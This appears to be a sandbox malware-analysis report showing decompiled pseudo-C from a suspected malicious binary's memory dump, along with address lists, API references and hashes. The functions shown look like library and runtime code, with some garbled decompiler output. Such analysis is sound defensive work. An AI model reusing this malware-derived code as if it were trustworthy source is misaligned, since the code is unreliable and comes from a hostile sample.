												} else {
													_t432 = _v460;
													_t368 = 0x4315ac;
													_v456 = 1;
													do {
														_t273 = E00416234( *_t368, _t445, _t432);
														_t467 = _t467 + 0xc;
														__eflags = _t273;
														if(_t273 != 0) {
															goto L45;
														} else {
															_t383 =  *_t368;
															_t424 = _t383 + 2;
															do {
																_t339 =  *_t383;
																_t383 = _t383 + 2;
																__eflags = _t339 - _v472;
															} while (_t339 != _v472);
															_t382 = _t383 - _t424 >> 1;
															__eflags = _t432 - _t383 - _t424 >> 1;
															if(_t432 != _t383 - _t424 >> 1) {
																goto L45;
															}
														}
														break;
														L45:
														_v456 = _v456 + 1;
														_t368 = _t368 + 0xc;
														__eflags = _t368 - 0x4315dc;
													} while (_t368 <= 0x4315dc);
													_t365 = _v468 + 2;
													_t274 = E004261E2(_t382, _t365, 0x43166c);
													_t429 = _v464;
													_t448 = _t274;
													_pop(_t386);
													__eflags = _t448;
													if(_t448 != 0) {
														L48:
														__eflags = _v456 - 5;
														if(_v456 > 5) {
															_t387 = _v452;
															goto L54;
														} else {
															_push(_t448);
															_t277 = E0042515D( &_v276, 0x83, _t365);
															_t469 = _t467 + 0x10;
															__eflags = _t277;
															if(_t277 != 0) {
																L82:
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																E004134C4();
																asm("int3");
																_push(_t461);
																_t462 = _t469;
																_t280 =  *0x43d054; // 0x298e9dc2
																_v560 = _t280 ^ _t462;
																_push(_t365);
																_t370 = _v544;
																_push(_t448);
																_push(_t429);
																_t433 = _v548;
																_v1288 = _t370;
																_v1284 = E0041CAE3(_t386, _t424) + 0x278;
																_t287 = E0041B567(_t370, _t424, _t433, _v540, _v540,  &_v824, 0x83,  &_v1252, 0x55,  &_v1268);
																_t471 = _t469 - 0x2e4 + 0x18;
																__eflags = _t287;
																if(_t287 == 0) {
																	L122:
																	_t288 = 0;
																	__eflags = 0;
																	goto L123;
																} else {
																	_t103 = _t370 + 2; // 0x6
																	_t452 = _t103 << 4;
																	__eflags = _t452;
																	_t290 =  &_v280;
																	_v720 = _t452;
																	_t424 =  *(_t452 + _t433);
																	_t390 = _t424;
																	while(1) {
																		_v712 = _v712 & 0x00000000;
																		__eflags =  *_t290 -  *_t390;
																		_t454 = _v720;
																		if( *_t290 !=  *_t390) {
																			break;
																		}
																		__eflags =  *_t290;
																		if( *_t290 == 0) {
																			L89:
																			_t291 = _v712;
																		} else {
																			_t459 =  *((intOrPtr*)(_t290 + 2));
																			__eflags = _t459 -  *((intOrPtr*)(_t390 + 2));
																			_v714 = _t459;
																			_t454 = _v720;
																			if(_t459 !=  *((intOrPtr*)(_t390 + 2))) {
																				break;
																			} else {
																				_t290 = _t290 + 4;
																				_t390 = _t390 + 4;
																				__eflags = _v714;
																				if(_v714 != 0) {
																					continue;
																				} else {
																					goto L89;
																				}
																			}
																		}
																		L91:
																		__eflags = _t291;
																		if(_t291 != 0) {
																			_t391 =  &_v280;
																			_t424 = _t391 + 2;
																			do {
																				_t292 =  *_t391;
																				_t391 = _t391 + 2;
																				__eflags = _t292 - _v712;
																			} while (_t292 != _v712);
																			_v716 = (_t391 - _t424 >> 1) + 1;
																			_t295 = E0041ECAF(4 + ((_t391 - _t424 >> 1) + 1) * 2);
																			_v732 = _t295;
																			__eflags = _t295;
																			if(_t295 == 0) {
																				goto L122;
																			} else {
																				_v728 =  *((intOrPtr*)(_t454 + _t433));
																				_v748 =  *(_t433 + 0xa0 + _t370 * 4);
																				_v752 =  *(_t433 + 8);
																				_t398 =  &_v280;
																				_v736 = _t295 + 4;
																				_t297 = E00421411(_t295 + 4, _v716, _t398);
																				_t472 = _t471 + 0xc;
																				__eflags = _t297;
																				if(_t297 != 0) {
																					_t298 = _v712;
																					_push(_t298);
																					_push(_t298);
																					_push(_t298);
																					_push(_t298);
																					_push(_t298);
																					E004134C4();
																					asm("int3");
																					_push(_t462);
																					_push(_t398);
																					_v1336 = _v1336 & 0x00000000;
																					_t301 = E0041E7A1(_v1324, 0x20001004,  &_v1336, 2);
																					__eflags = _t301;
																					if(_t301 == 0) {
																						L132:
																						return 0xfde9;
																					}
																					_t303 = _v20;
																					__eflags = _t303;
																					if(_t303 == 0) {
																						goto L132;
																					}
																					return _t303;
																				} else {
																					__eflags = _v280 - 0x43;
																					 *((intOrPtr*)(_t454 + _t433)) = _v736;
																					if(_v280 != 0x43) {
																						L100:
																						_t306 = E0041B284(_t370, _t433,  &_v708);
																						_t424 = _v712;
																					} else {
																						__eflags = _v278;
																						if(_v278 != 0) {
																							goto L100;
																						} else {
																							_t424 = _v712;
																							_t306 = _t424;
																						}
																					}
																					 *(_t433 + 0xa0 + _t370 * 4) = _t306;
																					__eflags = _t370 - 2;
																					if(_t370 != 2) {
																						__eflags = _t370 - 1;
																						if(_t370 != 1) {
																							__eflags = _t370 - 5;
																							if(_t370 == 5) {
																								 *((intOrPtr*)(_t433 + 0x14)) = _v724;
																							}
																						} else {
																							 *((intOrPtr*)(_t433 + 0x10)) = _v724;
																						}
																					} else {
																						_t458 = _v740;
																						 *(_t433 + 8) = _v724;
																						_v716 = _t458[8];
																						_t410 = _t458[9];
																						_v724 = _t410;
																						while(1) {
																							__eflags =  *(_t433 + 8) -  *(_t458 + _t424 * 8);
																							if( *(_t433 + 8) ==  *(_t458 + _t424 * 8)) {
																								break;
																							}
																							_t334 =  *(_t458 + _t424 * 8);
																							_t410 =  *(_t458 + 4 + _t424 * 8);
																							 *(_t458 + _t424 * 8) = _v716;
																							 *(_t458 + 4 + _t424 * 8) = _v724;
																							_t424 = _t424 + 1;
																							_t370 = _v744;
																							_v716 = _t334;
																							_v724 = _t410;
																							__eflags = _t424 - 5;
																							if(_t424 < 5) {
																								continue;
																							} else {
																							}
																							L108:
																							__eflags = _t424 - 5;
																							if(__eflags == 0) {
																								_t326 = E004217F5(__eflags, _v712, "true", 0x431520, 0x7f,  &_v536,  *(_t433 + 8), "true");
																								_t472 = _t472 + 0x1c;
																								__eflags = _t326;
																								if(_t326 == 0) {
																									_t411 = _v712;
																								} else {
																									_t328 = _v712;
																									do {
																										 *(_t462 + _t328 * 2 - 0x20c) =  *(_t462 + _t328 * 2 - 0x20c) & 0x000001ff;
																										_t328 = _t328 + 1;
																										__eflags = _t328 - 0x7f;
																									} while (_t328 < 0x7f);
																									_t330 = E00410BDA( &_v536,  *0x43d1c4, 0xfe);
																									_t472 = _t472 + 0xc;
																									__eflags = _t330;
																									_t411 = 0 | _t330 == 0x00000000;
																								}
																								_t458[1] = _t411;
																								 *_t458 =  *(_t433 + 8);
																							}
																							 *(_t433 + 0x18) = _t458[1];
																							goto L120;
																						}
																						__eflags = _t424;
																						if(_t424 != 0) {
																							 *_t458 =  *(_t458 + _t424 * 8);
																							_t458[1] =  *(_t458 + 4 + _t424 * 8);
																							 *(_t458 + _t424 * 8) = _v716;
																							 *(_t458 + 4 + _t424 * 8) = _t410;
																						}
																						goto L108;
																					}
																					L120:
																					_t307 = _t370 * 0xc;
																					_t204 = _t307 + 0x4315a8; // 0x40b1b0
																					 *0x42e234(_t433);
																					_t309 =  *((intOrPtr*)( *_t204))();
																					_t402 = _v728;
																					__eflags = _t309;
																					if(_t309 == 0) {
																						__eflags = _t402 - 0x43d290;
																						if(_t402 == 0x43d290) {
																							L127:
																							_t310 = _v720;
																						} else {
																							_t457 = _t370 + _t370;
																							__eflags = _t457;
																							asm("lock xadd [eax], ecx");
																							if(_t457 != 0) {
																								goto L127;
																							} else {
																								E0041E238( *((intOrPtr*)(_t433 + 0x28 + _t457 * 8)));
																								E0041E238( *((intOrPtr*)(_t433 + 0x24 + _t457 * 8)));
																								E0041E238( *(_t433 + 0xa0 + _t370 * 4));
																								_t310 = _v720;
																								_t405 = _v712;
																								 *(_t310 + _t433) = _t405;
																								 *(_t433 + 0xa0 + _t370 * 4) = _t405;
																							}
																						}
																						_t403 = _v732;
																						 *_t403 = 1;
																						_t288 =  *(_t310 + _t433);
																						 *((intOrPtr*)(_t433 + 0x28 + (_t370 + _t370) * 8)) = _t403;
																					} else {
																						 *((intOrPtr*)(_v720 + _t433)) = _t402;
																						E0041E238( *(_t433 + 0xa0 + _t370 * 4));
																						 *(_t433 + 0xa0 + _t370 * 4) = _v748;
																						E0041E238(_v732);
																						 *(_t433 + 8) = _v752;
																						goto L122;
																					}
																					goto L123;
																				}
																			}
																		} else {
																			_t288 = _t424;
																			L123:
																			_pop(_t434);
																			_pop(_t450);
																			__eflags = _v16 ^ _t462;
																			_pop(_t371);
																			return E0040EB3F(_t288, _t371, _v16 ^ _t462, _t424, _t434, _t450);
																		}
																		goto L134;
																	}
																	asm("sbb eax, eax");
																	_t291 = _t290 | 0x00000001;
																	__eflags = _t291;
																	goto L91;
																}
															} else {
																_t335 = _t448 + _t448;
																__eflags = _t335 - 0x106;
																if(_t335 >= 0x106) {
																	E0040EC74();
																	goto L82;
																} else {
																	 *((short*)(_t461 + _t335 - 0x10c)) = 0;
																	_t337 =  &_v276;
																	_push(_t337);
																	_push(_v456);
																	_push(_t429);
																	L83();
																	_t387 = _v452;
																	_t467 = _t469 + 0xc;
																	__eflags = _t337;
																	if(_t337 != 0) {
																		_t387 = _t387 + 1;
																		_v452 = _t387;
																	}
																	L54:
																	_t445 = _t365 + _t448 * 2;
																	_t275 =  *_t445 & 0x0000ffff;
																	_t424 = _t275;
																	__eflags = _t275;
																	if(_t275 != 0) {
																		_t445 = _t445 + 2;
																		__eflags = _t445;
																		_t424 =  *_t445 & 0x0000ffff;
																	}
																	__eflags = _t424;
																	if(_t424 != 0) {
																		continue;
																	} else {
																		__eflags = _t387;
																		if(__eflags != 0) {
																			goto L79;
																		} else {
																			break;
																		}
																		goto L80;
																	}
																}
															}
														}
													} else {
														_t338 = 0x3b;
														__eflags =  *_t365 - _t338;
														if( *_t365 != _t338) {
															break;
														} else {
															goto L48;
														}
													}
												}
											}
											goto L134;
										}
										_t259 = 0;
										goto L80;
									}
								}
							}
						}
					} else {
						__eflags = _t445;
						if(_t445 == 0) {
							_t259 =  *(_t429 + (_t259 + 2 + _t259 + 2) * 8);
						} else {
							_push(_t445);
							_push(_t259);
							_push(_t429);
							L83();
						}
						L80:
						_pop(_t430);
						_pop(_t446);
						__eflags = _v12 ^ _t461;
						_pop(_t366);
						return E0040EB3F(_t259, _t366, _v12 ^ _t461, _t424, _t430, _t446);
					}
				}
				L134:
			}

0x0041b9f1
0x0041b9f9
0x0041b9fa
0x0041ba03
0x0041ba0b
0x0041ba0d
0x0041ba0f
0x0041ba12
0x0041bb2f
0x0041bb32
0x0041ba18
0x0041ba18
0x0041ba19
0x0041ba1b
0x0041ba1b
0x0041ba1e
0x0041ba21
0x0041ba24
0x0041ba27
0x0041ba29
0x0041ba2c
0x0041ba31
0x0041ba3f
0x0041ba49
0x0041ba4c
0x0041ba4f
0x0041ba4f
0x0041ba5a
0x0041ba5f
0x0041ba64
0x00000000
0x0041ba6a
0x0041ba6d
0x0041ba6d
0x0041ba70
0x0041ba72
0x0041ba75
0x0041ba77
0x0041ba77
0x0041ba77
0x0041ba7a
0x0041ba7a
0x0041ba7a
0x0041ba80
0x00000000
0x00000000
0x0041ba85
0x0041ba9c
0x0041ba9c
0x0041ba87
0x0041ba87
0x0041ba8f
0x00000000
0x0041ba91
0x0041ba91
0x0041ba94
0x0041ba9a
0x00000000
0x00000000
0x00000000
0x00000000
0x0041ba9a
0x0041ba8f
0x0041baa5
0x0041baa5
0x0041baaa
0x0041baaf
0x0041bab3
0x0041babf
0x0041bac2
0x0041bac5
0x0041bacf
0x0041bad7
0x0041badf
0x00000000
0x0041bae5
0x0041bae9
0x0041bb34
0x0041bb3d
0x0041bb40
0x0041bb42
0x0041bb46
0x0041bb4a
0x0041bb4f
0x0041bb54
0x0041bb4a
0x0041bb58
0x0041bb5a
0x0041bb5c
0x0041bb60
0x0041bb61
0x0041bb66
0x0041bb6b
0x0041bb61
0x0041bb6e
0x0041bb71
0x0041bb74
0x0041bb77
0x0041bb7a
0x0041baeb
0x0041baee
0x0041baf1
0x0041baf3
0x0041baf7
0x0041bafb
0x0041bb00
0x0041bb05
0x0041bafb
0x0041bb0b
0x0041bb0d
0x0041bb12
0x0041bb17
0x0041bb1c
0x0041bb12
0x0041bb1d
0x0041bb21
0x0041bb21
0x0041bb24
0x0041bb28
0x0041bb2b
0x0041bb2b
0x00000000
0x0041bb2e
0x00000000
0x0041badf
0x0041baa0
0x0041baa2
0x0041baa2
0x00000000
0x0041baa2
0x0041bb81
0x0041bb82
0x0041bb83
0x0041bb84
0x0041bb85
0x0041bb86
0x0041bb8b
0x0041bb8f
0x0041bb91
0x0041bb97
0x0041bb9e
0x0041bba1
0x0041bba4
0x0041bba5
0x0041bba6
0x0041bba9
0x0041bbaa
0x0041bbad
0x0041bbb3
0x0041bbb5
0x0041bbda
0x0041bbe4
0x0041bbea
0x0041bbec
0x0041bbf2
0x0041bbf4
0x0041be54
0x0041be55
0x00000000
0x0041bbfa
0x0041bbfa
0x0041bbfe
0x0041bd6c
0x0041bd89
0x0041bd8e
0x0041bd91
0x0041bd93
0x0041bd99
0x0041bd99
0x0041bd9b
0x0041bd9e
0x0041bda0
0x0041bda6
0x0041bda6
0x0041bda8
0x0041be2f
0x0041be2f
0x0041bdae
0x0041bdae
0x0041bdb0
0x0041bdb6
0x0041bdb9
0x0041bdbc
0x0041bdc2
0x00000000
0x00000000
0x0041bdc4
0x0041bdc8
0x0041bdf1
0x0041bdf1
0x0041bdf3
0x0041bdca
0x0041bdca
0x0041bdce
0x0041bdd2
0x0041bdd9
0x0041bddf
0x00000000
0x0041bde1
0x0041bde1
0x0041bde4
0x0041bde7
0x0041bdef
0x00000000
0x00000000
0x00000000
0x00000000
0x0041bdef
0x0041bddf
0x0041bdfe
0x0041bdfe
0x0041be00
0x0041be2e
0x0041be2e
0x00000000
0x0041be02
0x0041be02
0x0041be08
0x0041be09
0x0041be0a
0x0041be0b
0x0041be10
0x0041be16
0x0041be19
0x0041be1b
0x0041be22
0x0041be24
0x0041be26
0x0041be1d
0x0041be1d
0x0041be1e
0x00000000
0x0041be1e
0x0041be1b
0x00000000
0x0041be00
0x0041bdf7
0x0041bdf9
0x0041bdfc
0x0041bdfc
0x00000000
0x0041bdfc
0x0041be35
0x0041be35
0x0041be36
0x0041be39
0x0041be3f
0x0041be3f
0x0041be48
0x0041be4a
0x00000000
0x0041be4c
0x0041be4c
0x0041be4e
0x00000000
0x0041be50
0x0041be50
0x0041be50
0x0041be4e
0x0041be4a
0x00000000
0x0041bc04
0x0041bc04
0x0041bc09
0x00000000
0x0041bc0f
0x0041bc0f
0x0041bc14
0x00000000
0x0041bc1a
0x0041bc1a
0x0041bc20
0x0041bc25
0x0041bc27
0x0041bc2e
0x0041bc2f
0x0041bc31
0x00000000
0x00000000
0x0041bc37
0x0041bc37
0x0041bc3b
0x0041bc41
0x00000000
0x0041bc47
0x0041bc49
0x0041bc4a
0x0041bc4d
0x00000000
0x0041bc53
0x0041bc53
0x0041bc59
0x0041bc5e
0x0041bc68
0x0041bc6c
0x0041bc71
0x0041bc74
0x0041bc76
0x00000000
0x0041bc78
0x0041bc78
0x0041bc7a
0x0041bc7d
0x0041bc7d
0x0041bc80
0x0041bc83
0x0041bc83
0x0041bc8e
0x0041bc90
0x0041bc92
0x00000000
0x00000000
0x0041bc92
0x00000000
0x0041bc94
0x0041bc94
0x0041bc9a
0x0041bc9d
0x0041bc9d
0x0041bcab
0x0041bcb4
0x0041bcb9
0x0041bcbf
0x0041bcc2
0x0041bcc3
0x0041bcc5
0x0041bcd3
0x0041bcd3
0x0041bcda
0x0041bd3b
0x00000000
0x0041bcdc
0x0041bcdc
0x0041bcea
0x0041bcef
0x0041bcf2
0x0041bcf4
0x0041be6f
0x0041be71
0x0041be72
0x0041be73
0x0041be74
0x0041be75
0x0041be76
0x0041be7b
0x0041be7e
0x0041be7f
0x0041be87
0x0041be8e
0x0041be91
0x0041be92
0x0041be95
0x0041be99
0x0041be9a
0x0041be9d
0x0041bead
0x0041bed0
0x0041bed5
0x0041bed8
0x0041beda
0x0041c190
0x0041c190
0x0041c190
0x00000000
0x0041bee0
0x0041bee0
0x0041bee3
0x0041bee3
0x0041bee6
0x0041beec
0x0041bef2
0x0041bef5
0x0041bef7
0x0041befa
0x0041bf01
0x0041bf04
0x0041bf0a
0x00000000
0x00000000
0x0041bf0c
0x0041bf10
0x0041bf39
0x0041bf39
0x0041bf12
0x0041bf12
0x0041bf16
0x0041bf1a
0x0041bf21
0x0041bf27
0x00000000
0x0041bf29
0x0041bf29
0x0041bf2c
0x0041bf2f
0x0041bf37
0x00000000
0x00000000
0x00000000
0x00000000
0x0041bf37
0x0041bf27
0x0041bf46
0x0041bf46
0x0041bf48
0x0041bf51
0x0041bf57
0x0041bf5a
0x0041bf5a
0x0041bf5d
0x0041bf60
0x0041bf60
0x0041bf70
0x0041bf7e
0x0041bf83
0x0041bf8a
0x0041bf8c
0x00000000
0x0041bf92
0x0041bf98
0x0041bfa5
0x0041bfae
0x0041bfb4
0x0041bfc1
0x0041bfc8
0x0041bfcd
0x0041bfd0
0x0041bfd2
0x0041c210
0x0041c216
0x0041c217
0x0041c218
0x0041c219
0x0041c21a
0x0041c21b
0x0041c220
0x0041c223
0x0041c226
0x0041c227
0x0041c239
0x0041c23e
0x0041c240
0x0041c249
0x00000000
0x0041c249
0x0041c242
0x0041c245
0x0041c247
0x00000000
0x00000000
0x0041c24f
0x0041bfd8
0x0041bfd8
0x0041bfe6
0x0041bfe9
0x0041bfff
0x0041c006
0x0041c00b
0x0041bfeb
0x0041bfeb
0x0041bff3
0x00000000
0x0041bff5
0x0041bff5
0x0041bffb
0x0041bffb
0x0041bff3
0x0041c012
0x0041c019
0x0041c01c
0x0041c11a
0x0041c11d
0x0041c12a
0x0041c12d
0x0041c135
0x0041c135
0x0041c11f
0x0041c125
0x0041c125
0x0041c022
0x0041c022
0x0041c02e
0x0041c034
0x0041c03a
0x0041c03d
0x0041c043
0x0041c046
0x0041c049
0x00000000
0x00000000
0x0041c04b
0x0041c054
0x0041c058
0x0041c061
0x0041c065
0x0041c066
0x0041c06c
0x0041c072
0x0041c078
0x0041c07b
0x00000000
0x00000000
0x0041c07d
0x0041c09c
0x0041c09c
0x0041c09f
0x0041c0bc
0x0041c0c1
0x0041c0c4
0x0041c0c6
0x0041c104
0x0041c0c8
0x0041c0c8
0x0041c0ce
0x0041c0d3
0x0041c0db
0x0041c0dc
0x0041c0dc
0x0041c0f3
0x0041c0fa
0x0041c0fd
0x0041c0ff
0x0041c0ff
0x0041c10a
0x0041c110
0x0041c110
0x0041c115
0x00000000
0x0041c115
0x0041c07f
0x0041c081
0x0041c086
0x0041c08c
0x0041c095
0x0041c098
0x0041c098
0x00000000
0x0041c081
0x0041c138
0x0041c138
0x0041c13c
0x0041c144
0x0041c14a
0x0041c14d
0x0041c153
0x0041c155
0x0041c1a1
0x0041c1a7
0x0041c1f3
0x0041c1f3
0x0041c1a9
0x0041c1ae
0x0041c1ae
0x0041c1b4
0x0041c1b8
0x00000000
0x0041c1ba
0x0041c1be
0x0041c1c7
0x0041c1d3
0x0041c1d8
0x0041c1e1
0x0041c1e7
0x0041c1ea
0x0041c1ea
0x0041c1b8
0x0041c1f9
0x0041c201
0x0041c207
0x0041c20a
0x0041c157
0x0041c15d
0x0041c167
0x0041c179
0x0041c180
0x0041c18d
0x00000000
0x0041c18d
0x00000000
0x0041c155
0x0041bfd2
0x0041bf4a
0x0041bf4a
0x0041c192
0x0041c195
0x0041c196
0x0041c197
0x0041c199
0x0041c1a0
0x0041c1a0
0x00000000
0x0041bf48
0x0041bf41
0x0041bf43
0x0041bf43
0x00000000
0x0041bf43
0x0041bcfa
0x0041bcfa
0x0041bcfd
0x0041bd02
0x0041be6a
0x00000000
0x0041bd08
0x0041bd0a
0x0041bd12
0x0041bd18
0x0041bd19
0x0041bd1f
0x0041bd20
0x0041bd25
0x0041bd2b
0x0041bd2e
0x0041bd30
0x0041bd32
0x0041bd33
0x0041bd33
0x0041bd41
0x0041bd41
0x0041bd44
0x0041bd47
0x0041bd49
0x0041bd4c
0x0041bd4e
0x0041bd4e
0x0041bd51
0x0041bd51
0x0041bd54
0x0041bd57
0x00000000
0x0041bd5d
0x0041bd5d
0x0041bd5f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041bd5f
0x0041bd57
0x0041bd02
0x0041bcf4
0x0041bcc7
0x0041bcc9
0x0041bcca
0x0041bccd
0x00000000
0x00000000
0x00000000
0x00000000
0x0041bccd
0x0041bcc5
0x0041bc4d
0x00000000
0x0041bc41
0x0041bd65
0x00000000
0x0041bd65
0x0041bc14
0x0041bc09
0x0041bbfe
0x0041bbb7
0x0041bbb7
0x0041bbb9
0x0041bbd0
0x0041bbbb
0x0041bbbb
0x0041bbbc
0x0041bbbd
0x0041bbbe
0x0041bbc3
0x0041be5b
0x0041be5e
0x0041be5f
0x0041be60
0x0041be62
0x0041be69
0x0041be69
0x0041bbb5
0x00000000

APIs

Part of subcall function 0041ECAF: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040FF1B,?,?,?,?,?,00403757,?,?,?), ref: 0041ECE1

_free.LIBCMT ref: 0041BB00
_free.LIBCMT ref: 0041BB17
_free.LIBCMT ref: 0041BB34
_free.LIBCMT ref: 0041BB4F
_free.LIBCMT ref: 0041BB66

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 34f0736c7276f2d6119e6e6d336ab02ab079a344452ac571098f24c1785db25a
Instruction ID: 28a07f378302100051e42c83522a01624a1711d38e2cf2491471541673b0cfb2
Opcode Fuzzy Hash: 34f0736c7276f2d6119e6e6d336ab02ab079a344452ac571098f24c1785db25a
Instruction Fuzzy Hash: 6351C671A00704AFDB21DF6AD841BAA77F4EF48714F14456FE805D7690E739E981CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA70 Relevance: 7.6, APIs: 5, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040CA70(intOrPtr __edx, intOrPtr* _a4) {
				char _v8;
				char _v16;
				signed int _v20;
				void* _v24;
				intOrPtr* _v28;
				char _v32;
				char _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t36;
				signed int _t37;
				intOrPtr _t42;
				signed int _t48;
				intOrPtr _t50;
				void* _t51;
				intOrPtr _t53;
				char* _t54;
				intOrPtr _t59;
				signed int _t67;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr _t71;
				void* _t72;
				intOrPtr* _t73;
				signed int _t75;
				void* _t81;

				_t65 = __edx;
				_push(0xffffffff);
				_push(0x42cc24);
				_push( *[fs:0x0]);
				_t36 =  *0x43d054; // 0x298e9dc2
				_t37 = _t36 ^ _t75;
				_v20 = _t37;
				_push(_t37);
				 *[fs:0x0] =  &_v16;
				_t70 = _a4;
				_v28 = _t70;
				_t39 = E0040E023( &_v32, 0);
				_v8 = 0;
				_t67 =  *0x450e80; // 0x0
				_t50 =  *0x450d0c; // 0x0
				if(_t67 == 0) {
					E0040E023( &_v24, _t67);
					_t81 =  *0x450e80 - _t67; // 0x0
					if(_t81 == 0) {
						_t48 =  *0x450098 + 1;
						 *0x450098 = _t48;
						 *0x450e80 = _t48;
					}
					_t39 = E0040E07B( &_v24);
					_t67 =  *0x450e80; // 0x0
				}
				_t53 =  *((intOrPtr*)(_t70 + 4));
				if(_t67 >=  *((intOrPtr*)(_t53 + 0xc))) {
					_t71 = 0;
					__eflags = 0;
					goto L8;
				} else {
					_t39 =  *((intOrPtr*)(_t53 + 8));
					_t71 =  *((intOrPtr*)( *((intOrPtr*)(_t53 + 8)) + _t67 * 4));
					if(_t71 != 0) {
						L19:
						_t54 =  &_v32;
						asm("in al, 0xe8");
						asm("fst qword [eax+eax]");
						 *((intOrPtr*)(_t50 - 0xbb2743a)) =  *((intOrPtr*)(_t50 - 0xbb2743a)) + _t54;
						 *[fs:0x0] = _t54;
						_pop(_t68);
						_pop(_t72);
						_pop(_t51);
						return E0040EB3F(_t39, _t51, _v20 ^ _t75, _t65, _t68, _t72);
					}
					L8:
					if( *((char*)(_t53 + 0x14)) == 0) {
						L11:
						if(_t71 != 0) {
							goto L19;
						}
						L12:
						if(_t50 == 0) {
							_t73 = E0040ED4F(_t50, _t67, _t71, __eflags, 8);
							_v24 = _t73;
							_v8 = 1;
							_t22 = _v28 + 4; // 0xe0458b04
							_t59 =  *_t22;
							__eflags = _t59;
							if(_t59 == 0) {
								_t42 = 0x4399f7;
							} else {
								_t42 =  *((intOrPtr*)(_t59 + 0x18));
								__eflags = _t42;
								if(_t42 == 0) {
									_t24 = _t59 + 0x1c; // 0xe0458b20
									_t42 = _t24;
								}
							}
							E00403F10(_t42);
							 *((intOrPtr*)(_t73 + 4)) = 0;
							 *_t73 = 0x42ef14;
							E00403FC0( &_v84);
							_v28 = _t73;
							_v8 = 2;
							E0040E1D4(__eflags, _t73);
							_t65 =  *_t73;
							_t39 =  *((intOrPtr*)( *_t73 + 4))();
							 *0x450d0c = _t73;
						}
						goto L19;
					}
					_t39 = E0040E200();
					if(_t67 >=  *((intOrPtr*)(_t39 + 0xc))) {
						goto L12;
					}
					_t71 =  *((intOrPtr*)(_t39 + _t67 * 4));
					goto L11;
				}
			}

0x0040ca70
0x0040ca73
0x0040ca75
0x0040ca80
0x0040ca84
0x0040ca89
0x0040ca8b
0x0040ca91
0x0040ca95
0x0040ca9b
0x0040caa3
0x0040caa6
0x0040caab
0x0040cab2
0x0040cab8
0x0040cac0
0x0040cac6
0x0040cacb
0x0040cad1
0x0040cad8
0x0040cad9
0x0040cade
0x0040cade
0x0040cae6
0x0040caeb
0x0040caeb
0x0040caf1
0x0040caf7
0x0040cb09
0x0040cb09
0x00000000
0x0040caf9
0x0040caf9
0x0040cafc
0x0040cb01
0x0040cb96
0x0040cb96
0x0040cb98
0x0040cb9a
0x0040cb9d
0x0040cba3
0x0040cbab
0x0040cbac
0x0040cbad
0x0040cbbb
0x0040cbbb
0x0040cb0b
0x0040cb0f
0x0040cb21
0x0040cb23
0x00000000
0x00000000
0x0040cb25
0x0040cb27
0x0040cb34
0x0040cb39
0x0040cb3c
0x0040cb43
0x0040cb43
0x0040cb46
0x0040cb48
0x0040cb56
0x0040cb4a
0x0040cb4a
0x0040cb4d
0x0040cb4f
0x0040cb51
0x0040cb51
0x0040cb51
0x0040cb4f
0x0040cb5f
0x0040cb67
0x0040cb6e
0x0040cb74
0x0040cb79
0x0040cb7d
0x0040cb81
0x0040cb86
0x0040cb8d
0x0040cb90
0x0040cb90
0x00000000
0x0040cb27
0x0040cb11
0x0040cb19
0x00000000
0x00000000
0x0040cb1e
0x00000000
0x0040cb1e

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040CAA6
std::_Lockit::_Lockit.LIBCPMT ref: 0040CAC6
std::_Lockit::~_Lockit.LIBCPMT ref: 0040CAE6
std::_Facet_Register.LIBCPMT ref: 0040CB81
std::_Lockit::~_Lockit.LIBCPMT ref: 0040CB99

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 879449144054a13442f9bb61240584c14f95569cd9bf4c6c5eb93ccd15f26faf
Instruction ID: f29963b9afd3843b8ef27958b7b5b45cd9b3919d59b2b5220a1f5a231eb5c462
Opcode Fuzzy Hash: 879449144054a13442f9bb61240584c14f95569cd9bf4c6c5eb93ccd15f26faf
Instruction Fuzzy Hash: 72419E71A00215CBCB25DF55E882B6AB7B4EF04714F20467EE8067B392DB79BD05CB89

Uniqueness

Uniqueness Score: -1.00%

Function 1000292C Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E1000292C(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t24;
				signed int _t26;
				signed int _t29;
				signed int _t35;
				void* _t37;
				void* _t40;
				signed int _t42;
				signed int _t45;
				void* _t47;
				void* _t52;

				_t40 = __edx;
				_push(0xc);
				_push(0x10015758);
				E10003100(__ebx, __edi, __esi);
				_t42 =  *(_t47 + 0xc);
				if(_t42 != 0) {
					L3:
					 *(_t47 - 4) =  *(_t47 - 4) & 0x00000000;
					__eflags = _t42 - 1;
					if(_t42 == 1) {
						L6:
						_t35 =  *(_t47 + 0x10);
						_t45 = E10002A37( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t45;
						if(_t45 == 0) {
							L16:
							 *(_t47 - 4) = 0xfffffffe;
							_t24 = _t45;
							L17:
							 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0x10));
							return _t24;
						}
						_t45 = E10002722(_t35, _t37, _t40, _t42, _t45,  *((intOrPtr*)(_t47 + 8)), _t42, _t35);
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t45;
						if(_t45 == 0) {
							goto L16;
						}
						L8:
						_push(_t35);
						_push(_t42);
						_push( *((intOrPtr*)(_t47 + 8)));
